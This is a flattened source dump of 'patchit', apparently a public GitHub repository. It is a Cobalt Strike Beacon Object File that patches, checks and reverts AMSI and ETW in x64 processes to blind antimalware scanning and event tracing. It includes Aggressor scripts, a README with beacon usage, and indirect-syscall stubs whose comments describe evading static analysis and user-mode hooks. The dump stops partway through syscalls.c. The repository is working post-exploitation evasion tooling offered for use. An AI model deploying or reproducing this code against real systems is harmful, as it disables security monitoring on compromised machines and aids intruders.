├── dist ├── patchit.x64.o └── patchit.cna ├── syscalls ├── dist │ ├── patchit.x64.o │ └── patchit.cna ├── Makefile ├── syscalls-asm.h ├── beacon.h ├── syscalls.h ├── syscalls.c ├── LICENSE └── patchit.c ├── Makefile ├── README.md ├── beacon.h ├── LICENSE └── patchit.c /dist/patchit.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptIdiot/BOF-patchit/HEAD/dist/patchit.x64.o -------------------------------------------------------------------------------- /syscalls/dist/patchit.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptIdiot/BOF-patchit/HEAD/syscalls/dist/patchit.x64.o -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := patchit 2 | CC_x64 := x86_64-w64-mingw32-gcc 3 | 4 | 5 | all: 6 | $(CC_x64) -o ./dist/$(BOFNAME).x64.o -c patchit.c -masm=intel 7 | 8 | clean: 9 | rm -f ./dist/$(BOFNAME).x64.o -------------------------------------------------------------------------------- /syscalls/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := patchit 2 | CC_x64 := x86_64-w64-mingw32-gcc 3 | 4 | 5 | all: 6 | $(CC_x64) -o ./dist/$(BOFNAME).x64.o -c patchit.c -masm=intel 7 | 8 | clean: 9 | rm -f ./dist/$(BOFNAME).x64.o -------------------------------------------------------------------------------- /syscalls/syscalls-asm.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | #if _WIN64 5 | 6 | #define IsWoW64 IsWoW64 7 | __asm__("IsWoW64: \n\ 8 | mov rax, 0 \n\ 9 | ret \n\ 10 | "); 11 | 12 | #define ZwProtectVirtualMemory NtProtectVirtualMemory 13 | __asm__("NtProtectVirtualMemory: \n\ 14 | push rcx \n\ 15 | push rdx \n\ 16 | push r8 \n\ 17 | push r9 \n\ 18 | sub rsp, 0x28 \n\ 19 | call GetSyscallAddress \n\ 20 | add rsp, 0x28 \n\ 21 | push rax \n\ 22 | sub rsp, 0x28 \n\ 23 | mov ecx, 0x0099D1B07 \n\ 24 | call SW2_GetSyscallNumber \n\ 25 | add rsp, 0x28 \n\ 26 | pop r11 \n\ 27 | pop r9 \n\ 28 | pop r8 \n\ 29 | pop rdx \n\ 30 | pop rcx \n\ 31 | mov r10, rcx \n\ 32 | jmp r11 \n\ 33 | "); 34 | 35 | #define ZwWriteVirtualMemory NtWriteVirtualMemory 36 | __asm__("NtWriteVirtualMemory: \n\ 37 | push rcx \n\ 38 | push rdx \n\ 39 | push r8 \n\ 40 | push r9 \n\ 41 | sub rsp, 0x28 \n\ 42 | call GetSyscallAddress \n\ 43 | add rsp, 0x28 \n\ 44 | push rax \n\ 45 | sub rsp, 0x28 \n\ 46 | mov ecx, 0x0CD9FF0DB \n\ 47 | call SW2_GetSyscallNumber \n\ 48 | add rsp, 0x28 \n\ 49 | pop r11 \n\ 50 | pop r9 \n\ 51 | pop r8 \n\ 52 | pop rdx \n\ 53 | pop rcx \n\ 54 | mov r10, rcx \n\ 55 | jmp r11 \n\ 56 | "); 57 | 58 | #define ZwSetInformationProcess NtSetInformationProcess 59 | __asm__("NtSetInformationProcess: \n\ 60 | push rcx \n\ 61 | push rdx \n\ 62 | push r8 \n\ 63 | push r9 \n\ 64 | sub rsp, 0x28 \n\ 65 | call GetSyscallAddress \n\ 66 | add rsp, 0x28 \n\ 67 | push rax \n\ 68 | sub rsp, 0x28 \n\ 69 | mov ecx, 0x0912F8AA0 \n\ 70 | call SW2_GetSyscallNumber \n\ 71 | add rsp, 0x28 \n\ 72 | pop r11 \n\ 73 | pop r9 \n\ 74 | pop r8 \n\ 75 | pop rdx \n\ 76 | pop rcx \n\ 77 | mov r10, rcx \n\ 78 | jmp r11 \n\ 79 | "); 80 | 81 | #endif -------------------------------------------------------------------------------- /dist/patchit.cna: -------------------------------------------------------------------------------- 1 | beacon_command_register( 2 | "patchit", 3 | "All-in-one to patch, check and revert AMSI and ETW for x64 process", 4 | "Available Commands:\n" . 5 | "\tCheck if AMSI & ETW are patched: patchit check\n" . 6 | "\tPatch AMSI and ETW: patchit all\n" . 7 | "\tPatch AMSI (AmsiScanBuffer): patchit amsi\n" . 8 | "\tPatch ETW (EtwEventWrite): patchit etw\n" . 9 | "\tRevert patched AMSI & ETW: patchit revertAll\n" . 10 | "\tRevert patched AMSI: patchit revertAmsi\n" . 11 | "\tRevert patched ETW: patchit revertEtw\n" . 12 | "Note: check command only compares first 4 lines of addresses of functions." 13 | ); 14 | 15 | alias patchit { 16 | 17 | if(size(@_) != 2) 18 | { 19 | berror($1, "Incorrect usage!"); 20 | berror($1, beacon_command_detail("patchit")); 21 | return; 22 | } 23 | 24 | local('$barch $handle $data $args'); 25 | 26 | # Get beacon architecture 27 | $barch = barch($1); 28 | 29 | 30 | if ($barch !eq 'x64') 31 | { 32 | berror($1, "patchit only supports x64 process"); 33 | return; 34 | } 35 | 36 | if ($2 eq "check") 37 | { 38 | $args = bof_pack($1,"i",1); 39 | } 40 | 41 | else if ($2 eq "all") 42 | { 43 | $args = bof_pack($1,"i",2); 44 | } 45 | 46 | else if ($2 eq "amsi") 47 | { 48 | $args = bof_pack($1,"i",3); 49 | } 50 | 51 | else if ($2 eq "etw") 52 | { 53 | $args = bof_pack($1,"i",4); 54 | } 55 | 56 | else if ($2 eq "revertAll") 57 | { 58 | $args = bof_pack($1,"i",5); 59 | } 60 | 61 | else if ($2 eq "revertAmsi") 62 | { 63 | $args = bof_pack($1,"i",6); 64 | } 65 | 66 | else if ($2 eq "revertEtw") 67 | { 68 | $args = bof_pack($1,"i",7); 69 | } 70 | else 71 | { 72 | berror($1, "Unkown command: " . $2); 73 | berror($1, beacon_command_detail("patchit")); 74 | return; 75 | } 76 | 77 | 78 | # Load BOF 79 | $handle = openf(script_resource("patchit. $+ $barch $+ .o")); 80 | $data = readb($handle, -1); 81 | closef($handle); 82 | 83 | # Execute BOF 84 | btask($1, "All-in-one to patch, check and revert AMSI and ETW for x64 process | James Yeung | github.com/ScriptIdiot"); 85 | beacon_inline_execute($1, $data, "go", $args); 86 | 87 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Cobalt Strike BOF - patchit (Both syscalls and dynamic resolve versions are available) 2 | 3 | An all-in-one BOF to patch, check and revert AMSI and ETW for x64 process. Wrote this to avoid redundant AMSI / ETW patch. 4 | 5 | Currently, it only checks the first 10+ bytes of AmsiScanBuffer and EtwEventWrite, since most of public available patch bytes are doing on first few lines. If thats not enough, additional bytes / function to compare can be added easily to the source code. 6 | 7 | If you are not using the AMSI/ETW patch from this BOF and want to revert, you could refresh the whole AMSI and NTDLL as an alternative. 8 | 9 | *If there is no amsi.dll in current process, this bof will not load it to the process.* 10 | 11 | **Update on 18 Aug 2022** 12 | 13 | - Added a new version doing indirect syscalls for NtApi 14 | 15 | **Update on 30 Sep 2022** 16 | 17 | - Added callback unhook on syscall version 18 | 19 | ## Usage - Cobalt Strike 20 | Load patchit.cna 21 | ``` 22 | Check if AMSI & ETW are patched: 23 | beacon> patchit check 24 | 25 | Patch both AMSI and ETW: 26 | beacon> patchit all 27 | 28 | Patch AMSI: 29 | beacon> patchit amsi 30 | 31 | Patch ETW: 32 | beacon> patchit etw 33 | 34 | Revert both AMSI and ETW: 35 | beacon> patchit revertAll 36 | 37 | Revert AMSI: 38 | beacon> patchit revertAmsi 39 | 40 | Revert ETW: 41 | beacon> patchit revertEtw 42 | ``` 43 | 44 | 45 | ## Screenshot examples 46 | 47 | Run patchit check when amsi.dll is not loaded:
48 | ![image](https://user-images.githubusercontent.com/21979646/184657456-04beae27-3ffa-4602-a6d7-b671aeda9f9c.png) 49 | 50 | patchit all:
51 | ![image](https://user-images.githubusercontent.com/21979646/184657575-0156c5f4-4af9-41e7-ac2d-2d50a82287ca.png) 52 | ![image](https://user-images.githubusercontent.com/21979646/184661310-8fbcd2ab-b1d1-45a3-b413-581da0eb4dcf.png) 53 | ![image](https://user-images.githubusercontent.com/21979646/184661321-510d617b-b27a-49f5-82cf-409750afe769.png) 54 | 55 | 56 | patchit revertAll:
57 | ![image](https://user-images.githubusercontent.com/21979646/184657705-a225f6f8-66cf-408e-b0f3-1166adf43a71.png) 58 | 59 | ## Compile 60 | `make` 61 | 62 | ## Reference 63 | * https://download.cobaltstrike.com/aggressor-script/index.html 64 | * https://blog.xpnsec.com/hiding-your-dotnet-etw/ 65 | * https://rastamouse.me/memory-patching-amsi-bypass/ 66 | * https://github.com/Cobalt-Strike/unhook-bof (Big thanks to [@s4ntiago_p](https://twitter.com/s4ntiago_p) on demonstrating how to do indirect syscalls in BOF) 67 | -------------------------------------------------------------------------------- /syscalls/dist/patchit.cna: -------------------------------------------------------------------------------- 1 | beacon_command_register( 2 | "patchit", 3 | "All-in-one to patch, check and revert AMSI and ETW for x64 process with indirect syscalls for NtApi", 4 | "Available Commands:\n" . 5 | "\tCheck if AMSI & ETW are patched: patchit check\n" . 6 | "\tPatch AMSI and ETW: patchit all\n" . 7 | "\tPatch AMSI (AmsiScanBuffer): patchit amsi\n" . 8 | "\tPatch ETW (EtwEventWrite): patchit etw\n" . 9 | "\tRevert patched AMSI & ETW: patchit revertAll\n" . 10 | "\tRevert patched AMSI: patchit revertAmsi\n" . 11 | "\tRevert patched ETW: patchit revertEtw\n" . 12 | "Note: check command only compares first 4 lines of addresses of functions." 13 | ); 14 | 15 | alias patchit { 16 | 17 | if(size(@_) != 2) 18 | { 19 | berror($1, "Incorrect usage!"); 20 | berror($1, beacon_command_detail("patchit")); 21 | return; 22 | } 23 | 24 | local('$barch $handle $data $args'); 25 | 26 | # Get beacon architecture 27 | $barch = barch($1); 28 | 29 | 30 | if ($barch !eq 'x64') 31 | { 32 | berror($1, "patchit only supports x64 process"); 33 | return; 34 | } 35 | 36 | if ($2 eq "check") 37 | { 38 | $args = bof_pack($1,"i",1); 39 | } 40 | 41 | else if ($2 eq "all") 42 | { 43 | $args = bof_pack($1,"i",2); 44 | } 45 | 46 | else if ($2 eq "amsi") 47 | { 48 | $args = bof_pack($1,"i",3); 49 | } 50 | 51 | else if ($2 eq "etw") 52 | { 53 | $args = bof_pack($1,"i",4); 54 | } 55 | 56 | else if ($2 eq "revertAll") 57 | { 58 | $args = bof_pack($1,"i",5); 59 | } 60 | 61 | else if ($2 eq "revertAmsi") 62 | { 63 | $args = bof_pack($1,"i",6); 64 | } 65 | 66 | else if ($2 eq "revertEtw") 67 | { 68 | $args = bof_pack($1,"i",7); 69 | } 70 | else 71 | { 72 | berror($1, "Unkown command: " . $2); 73 | berror($1, beacon_command_detail("patchit")); 74 | return; 75 | } 76 | 77 | 78 | # Load BOF 79 | $handle = openf(script_resource("patchit. $+ $barch $+ .o")); 80 | $data = readb($handle, -1); 81 | closef($handle); 82 | 83 | # Execute BOF 84 | btask($1, "All-in-one to patch, check and revert AMSI and ETW for x64 process with indirect syscalls for NtApi | James Yeung | github.com/ScriptIdiot"); 85 | beacon_inline_execute($1, $data, "go", $args); 86 | 87 | } -------------------------------------------------------------------------------- /beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | typedef struct { 12 | char * original; /* the original buffer [so we can free it] */ 13 | char * buffer; /* current pointer into our buffer */ 14 | int length; /* remaining length of data */ 15 | int size; /* total size of this buffer */ 16 | } datap; 17 | 18 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 19 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 20 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 21 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 22 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 23 | 24 | /* format API */ 25 | typedef struct { 26 | char * original; /* the original buffer [so we can free it] */ 27 | char * buffer; /* current pointer into our buffer */ 28 | int length; /* remaining length of data */ 29 | int size; /* total size of this buffer */ 30 | } formatp; 31 | 32 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 33 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 34 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 35 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 36 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 37 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 38 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 39 | 40 | /* Output Functions */ 41 | #define CALLBACK_OUTPUT 0x0 42 | #define CALLBACK_OUTPUT_OEM 0x1e 43 | #define CALLBACK_ERROR 0x0d 44 | #define CALLBACK_OUTPUT_UTF8 0x20 45 | 46 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 47 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 48 | 49 | /* Token Functions */ 50 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 51 | DECLSPEC_IMPORT void BeaconRevertToken(); 52 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 53 | 54 | /* Spawn+Inject Functions */ 55 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 56 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 57 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 58 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 59 | 60 | /* Utility Functions */ 61 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 62 | -------------------------------------------------------------------------------- /syscalls/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | typedef struct { 12 | char * original; /* the original buffer [so we can free it] */ 13 | char * buffer; /* current pointer into our buffer */ 14 | int length; /* remaining length of data */ 15 | int size; /* total size of this buffer */ 16 | } datap; 17 | 18 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 19 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 20 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 21 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 22 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 23 | 24 | /* format API */ 25 | typedef struct { 26 | char * original; /* the original buffer [so we can free it] */ 27 | char * buffer; /* current pointer into our buffer */ 28 | int length; /* remaining length of data */ 29 | int size; /* total size of this buffer */ 30 | } formatp; 31 | 32 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 33 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 34 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 35 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 36 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 37 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 38 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 39 | 40 | /* Output Functions */ 41 | #define CALLBACK_OUTPUT 0x0 42 | #define CALLBACK_OUTPUT_OEM 0x1e 43 | #define CALLBACK_ERROR 0x0d 44 | #define CALLBACK_OUTPUT_UTF8 0x20 45 | 46 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 47 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 48 | 49 | /* Token Functions */ 50 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 51 | DECLSPEC_IMPORT void BeaconRevertToken(); 52 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 53 | 54 | /* Spawn+Inject Functions */ 55 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 56 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 57 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 58 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 59 | 60 | /* Utility Functions */ 61 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 62 | -------------------------------------------------------------------------------- /syscalls/syscalls.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Code below is adapted from @modexpblog. Read linked article for more details. 4 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams 5 | 6 | #ifndef SW2_HEADER_H_ 7 | #define SW2_HEADER_H_ 8 | 9 | #include 10 | #include "syscalls-asm.h" 11 | 12 | #ifdef _WIN64 13 | #define PEB_OFFSET 0x60 14 | #define READ_MEMLOC __readgsqword 15 | #else 16 | #define PEB_OFFSET 0x30 17 | #define READ_MEMLOC __readfsdword 18 | #endif 19 | 20 | #define SW2_SEED 0x2D19F9AD 21 | #define SW2_ROL8(v) (v << 8 | v >> 24) 22 | #define SW2_ROR8(v) (v >> 8 | v << 24) 23 | #define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v)) 24 | #define SW2_MAX_ENTRIES 500 25 | #define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) 26 | 27 | // Typedefs are prefixed to avoid pollution. 28 | 29 | typedef struct _SW2_SYSCALL_ENTRY 30 | { 31 | DWORD Hash; 32 | DWORD Address; 33 | } SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY; 34 | 35 | typedef struct _SW2_SYSCALL_LIST 36 | { 37 | DWORD Count; 38 | SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES]; 39 | } SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST; 40 | 41 | typedef struct _SW2_PEB_LDR_DATA { 42 | BYTE Reserved1[8]; 43 | PVOID Reserved2[3]; 44 | LIST_ENTRY InMemoryOrderModuleList; 45 | } SW2_PEB_LDR_DATA, *PSW2_PEB_LDR_DATA; 46 | 47 | typedef struct _SW2_LDR_DATA_TABLE_ENTRY { 48 | PVOID Reserved1[2]; 49 | LIST_ENTRY InMemoryOrderLinks; 50 | PVOID Reserved2[2]; 51 | PVOID DllBase; 52 | } SW2_LDR_DATA_TABLE_ENTRY, *PSW2_LDR_DATA_TABLE_ENTRY; 53 | 54 | typedef struct _SW2_PEB { 55 | BYTE Reserved1[2]; 56 | BYTE BeingDebugged; 57 | BYTE Reserved2[1]; 58 | PVOID Reserved3[2]; 59 | PSW2_PEB_LDR_DATA Ldr; 60 | } SW2_PEB, *PSW2_PEB; 61 | 62 | DWORD SW2_HashSyscall(PCSTR FunctionName); 63 | BOOL SW2_PopulateSyscallList(void); 64 | EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash) asm ("SW2_GetSyscallNumber"); 65 | EXTERN_C BOOL IsWoW64(void) asm ("IsWoW64"); 66 | EXTERN_C PVOID GetSyscallAddress(void) asm ("GetSyscallAddress"); 67 | 68 | typedef struct _PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION 69 | { 70 | ULONG Version; 71 | ULONG Reserved; 72 | PVOID Callback; 73 | } PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION, *PPROCESS_INSTRUMENTATION_CALLBACK_INFORMATION; 74 | 75 | typedef enum _PROCESSINFOCLASS 76 | { 77 | ProcessBasicInformation = 0, 78 | ProcessDebugPort = 7, 79 | ProcessWow64Information = 26, 80 | ProcessImageFileName = 27, 81 | ProcessBreakOnTermination = 29 82 | } PROCESSINFOCLASS, *PPROCESSINFOCLASS; 83 | 84 | EXTERN_C NTSTATUS NtProtectVirtualMemory( 85 | IN HANDLE ProcessHandle, 86 | IN OUT PVOID * BaseAddress, 87 | IN OUT PSIZE_T RegionSize, 88 | IN ULONG NewProtect, 89 | OUT PULONG OldProtect) asm("NtProtectVirtualMemory"); 90 | 91 | EXTERN_C NTSTATUS NtWriteVirtualMemory( 92 | IN HANDLE ProcessHandle, 93 | IN PVOID BaseAddress, 94 | IN PVOID Buffer, 95 | IN SIZE_T NumberOfBytesToWrite, 96 | OUT PSIZE_T NumberOfBytesWritten OPTIONAL) asm("NtWriteVirtualMemory"); 97 | 98 | EXTERN_C NTSTATUS NtSetInformationProcess( 99 | IN HANDLE DeviceHandle, 100 | IN PROCESSINFOCLASS ProcessInformationClass, 101 | IN PVOID ProcessInformation, 102 | IN ULONG Length) asm("NtSetInformationProcess"); 103 | 104 | #endif -------------------------------------------------------------------------------- /syscalls/syscalls.c: -------------------------------------------------------------------------------- 1 | #include "syscalls.h" 2 | #include "beacon.h" 3 | 4 | // Code below is adapted from @modexpblog. Read linked article for more details. 5 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams 6 | 7 | SW2_SYSCALL_LIST SW2_SyscallList __attribute__ ((section(".data"))); 8 | PVOID SyscallAddress __attribute__ ((section(".data"))) = NULL; 9 | 10 | /* 11 | * If no 'syscall' instruction is found in NTDLL, 12 | * this function will be called. 13 | * By default just returns STATUS_NOT_FOUND. 14 | * The idea is to avoid having a 'syscall' instruction 15 | * on this program's .text section to evade static analysis 16 | */ 17 | __attribute__((naked)) void SyscallNotFound(void) 18 | { 19 | __asm__("SyscallNotFound: \n\ 20 | mov eax, 0xC0000225 \n\ 21 | ret \n\ 22 | "); 23 | } 24 | 25 | /* 26 | * the idea here is to find a 'syscall' instruction in 'ntdll.dll' 27 | * so that we can call it from our code and try to hide the fact 28 | * that we use direct syscalls 29 | */ 30 | PVOID GetSyscallAddress(void) 31 | { 32 | // Return early if the SyscallAddress is already defined 33 | if (SyscallAddress) return SyscallAddress; 34 | 35 | #ifndef _WIN64 36 | if (IsWoW64()) 37 | { 38 | // if we are a WoW64 process, jump to WOW32Reserved 39 | SyscallAddress = (PVOID)READ_MEMLOC(0xc0); 40 | return SyscallAddress; 41 | } 42 | #endif 43 | 44 | // set the fallback as the default 45 | SyscallAddress = (PVOID)SyscallNotFound; 46 | 47 | // find the address of NTDLL 48 | PSW2_PEB Peb = (PSW2_PEB)READ_MEMLOC(PEB_OFFSET); 49 | PSW2_PEB_LDR_DATA Ldr = Peb->Ldr; 50 | PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; 51 | PVOID DllBase = NULL; 52 | PVOID BaseOfCode = NULL; 53 | ULONG32 SizeOfCode = 0; 54 | 55 | // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second 56 | // in the list, so it's safer to loop through the full list and find it. 57 | PSW2_LDR_DATA_TABLE_ENTRY LdrEntry; 58 | for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) 59 | { 60 | DllBase = LdrEntry->DllBase; 61 | PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; 62 | PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); 63 | PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; 64 | DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 65 | if (VirtualAddress == 0) continue; 66 | 67 | ExportDirectory = SW2_RVA2VA(PIMAGE_EXPORT_DIRECTORY, DllBase, VirtualAddress); 68 | 69 | // If this is NTDLL.dll, exit loop. 70 | PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); 71 | if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue; 72 | if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) 73 | { 74 | BaseOfCode = SW2_RVA2VA(PVOID, DllBase, NtHeaders->OptionalHeader.BaseOfCode); 75 | SizeOfCode = NtHeaders->OptionalHeader.SizeOfCode; 76 | break; 77 | } 78 | } 79 | if (!BaseOfCode || !SizeOfCode) 80 | return SyscallAddress; 81 | 82 | // try to find a 'syscall' instruction inside of NTDLL's code section 83 | 84 | #ifdef _WIN64 85 | BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 }; 86 | #else 87 | BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 }; 88 | #endif 89 | 90 | PVOID CurrentAddress = BaseOfCode; 91 | PVOID EndOfCode = SW2_RVA2VA(PVOID, BaseOfCode, SizeOfCode - sizeof(syscall_code) + 1); 92 | while ((ULONG_PTR)CurrentAddress <= (ULONG_PTR)EndOfCode) 93 | { 94 | if (!MSVCRT$strncmp((PVOID)syscall_code, CurrentAddress, sizeof(syscall_code))) 95 | { 96 | // found 'syscall' instruction in ntdll 97 | SyscallAddress = CurrentAddress; 98 | return SyscallAddress; 99 | } 100 | // increase the current address by one 101 | CurrentAddress = SW2_RVA2VA(PVOID, CurrentAddress, 1); 102 | } 103 | // syscall entry not found, using fallback 104 | return SyscallAddress; 105 | } 106 | 107 | DWORD SW2_HashSyscall(PCSTR FunctionName) 108 | { 109 | DWORD i = 0; 110 | DWORD Hash = SW2_SEED; 111 | 112 | while (FunctionName[i]) 113 | { 114 | WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++); 115 | Hash ^= PartialName + SW2_ROR8(Hash); 116 | } 117 | 118 | return Hash; 119 | } 120 | 121 | BOOL SW2_PopulateSyscallList(void) 122 | { 123 | // Return early if the list is already populated. 124 | if (SW2_SyscallList.Count) return TRUE; 125 | 126 | PSW2_PEB Peb = (PSW2_PEB)READ_MEMLOC(PEB_OFFSET); 127 | PSW2_PEB_LDR_DATA Ldr = Peb->Ldr; 128 | PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; 129 | PVOID DllBase = NULL; 130 | 131 | // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second 132 | // in the list, so it's safer to loop through the full list and find it. 133 | PSW2_LDR_DATA_TABLE_ENTRY LdrEntry; 134 | for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) 135 | { 136 | DllBase = LdrEntry->DllBase; 137 | PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; 138 | PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); 139 | PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; 140 | DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 141 | if (VirtualAddress == 0) continue; 142 | 143 | ExportDirectory = SW2_RVA2VA(PIMAGE_EXPORT_DIRECTORY, DllBase, VirtualAddress); 144 | 145 | // If this is NTDLL.dll, exit loop. 146 | PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); 147 | if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue; 148 | if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break; 149 | } 150 | 151 | if (!ExportDirectory) return FALSE; 152 | 153 | DWORD NumberOfNames = ExportDirectory->NumberOfNames; 154 | PDWORD Functions = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); 155 | PDWORD Names = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); 156 | PWORD Ordinals = SW2_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); 157 | 158 | // Populate SW2_SyscallList with unsorted Zw* entries. 159 | DWORD i = 0; 160 | PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries; 161 | do 162 | { 163 | PCHAR FunctionName = SW2_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); 164 | 165 | // Is this a system call? 166 | if (*(USHORT*)FunctionName == 0x775a) 167 | { 168 | Entries[i].Hash = SW2_HashSyscall(FunctionName); 169 | Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; 170 | 171 | i++; 172 | if (i == SW2_MAX_ENTRIES) break; 173 | } 174 | } while (--NumberOfNames); 175 | 176 | // Save total number of system calls found. 177 | SW2_SyscallList.Count = i; 178 | 179 | // Sort the list by address in ascending order. 180 | for (DWORD i = 0; i < SW2_SyscallList.Count - 1; i++) 181 | { 182 | for (DWORD j = 0; j < SW2_SyscallList.Count - i - 1; j++) 183 | { 184 | if (Entries[j].Address > Entries[j + 1].Address) 185 | { 186 | // Swap entries. 187 | SW2_SYSCALL_ENTRY TempEntry; 188 | 189 | TempEntry.Hash = Entries[j].Hash; 190 | TempEntry.Address = Entries[j].Address; 191 | 192 | Entries[j].Hash = Entries[j + 1].Hash; 193 | Entries[j].Address = Entries[j + 